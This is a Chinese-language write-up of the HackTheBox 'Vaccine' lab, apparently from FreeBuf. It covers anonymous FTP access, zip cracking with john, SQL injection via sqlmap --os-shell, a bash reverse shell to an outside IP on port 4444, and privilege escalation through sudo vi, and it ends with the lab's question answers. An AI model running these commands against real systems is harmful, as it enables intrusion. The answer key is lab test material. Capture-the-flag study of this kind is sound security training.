HackTheBox – Vaccine

信息收集FTP匿名登录暴力破解sqlmap之getshellvi提权

一、端口扫描

使用nmap -A -T3 -v 10.129.171.0命令对靶机ip进行扫描
可以发现目标主机开发了ftp、ssh和http三个端口,其中ftp支持匿名模式登录,并且存在一个backup.zip文件
同时在网页中访问ip,存在一个登录界面

二、FTP匿名登录

接下来就使用ftp匿名登录目标靶机,在name处输入Anonymous,密码为空
通过dir命令发现存在一个backup.zip,使用get命令下载到本地

三、暴力破解压缩包

压缩包中存在index.php,使用弱密码尝试解压压缩包,发现行不通,那就需要用到爆破工具来爆破密码了
这时候会用到john的zip2john脚本,将加密压缩包的密码hash值导出到文件中,再用john对其进行爆破
用zip2john导出hash后,使用john和/usr/share/wordlists/目录下的rockyou.txt字典进行爆破,得到密码为741852963
使用密码解压得到index.php和style.css文件,这个index.php应该就是登录页面的源码了
打开index.php文件后可以发现存在一个判断语句,判断username是否等于admin以及密码的md5值是否等于2cb42f8734ea607eefed3b70af13bbd3
直接把md5值放到cmd5里去解密,得到密码qwerty789

四、GETSHELL

使用账户密码登录网站,可以看到一个表单,右上角有查询功能,尝试使用一下查询功能
可以发现在查询时使用了一个search的参数,可能存在sql注入漏洞,直接上sqlmap

sqlmap -u http://10.129.171.0/dashboard.php?search=zeus --cookie=PHPSESSID=075quf5khr2nf6k6k62m1p2m5j --os-shell --batch
//--cookie是指定页面cookie,否则页面就会跳转回登录页面
//--os-shell 使用sqlmap去getshell
// -batch 使用默认设置

成功getshell
但是可以看到命令执行结果的显示很别扭,为了我们后面更好地提取,我们先进行反弹shell
/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.92/4444 0>&1'
同时监听4444端口,成功反弹shell

在nmap的扫描结果中知道靶机用的是apache服务,那就可以去/var/www/html目录看下,发现有个dashboard.php
查看文件,在数据库连接语句中可以得到postgres的密码P@s5w0rd!
做到这一步的时候会发现在getshell之后,过一会会自动断开连接,在提权的时候会很麻烦,不过幸运的是我们拿到了postgres的密码,可以直接用ssh连上靶机ssh postgres@{target_ip}

五、提权

使用sudo -l查看我们有哪些命令可以sudo使用
发现我们可以sudo使用vi编辑/etc/postgresql/11/main/pg_hba.conf文件,那么就可以用sudo提取

:set shell=/bin/bash
: shell

提取成功

vi提权具体可参考GTFOBins

六、答题

Besides SSH and HTTP, what other service is hosted on this box?
ftp

This service can be configured to allow login with any password for specific username. What is that username?
Anonymous

What is the name of the file downloaded over this service?
backup.zip

What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?
zip2john

What is the password for the admin user on the website?
qwerty789

What option can be passed to sqlmap to try to get command execution via the sql injection?
–os-shell

What program can the postgres user run as root using sudo?
vi

本文作者:Briyney, 转载请注明来自FreeBuf.COM

© 版权声明
THE END
喜欢就支持一下吧
点赞12赏点小钱 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    请登录后查看评论内容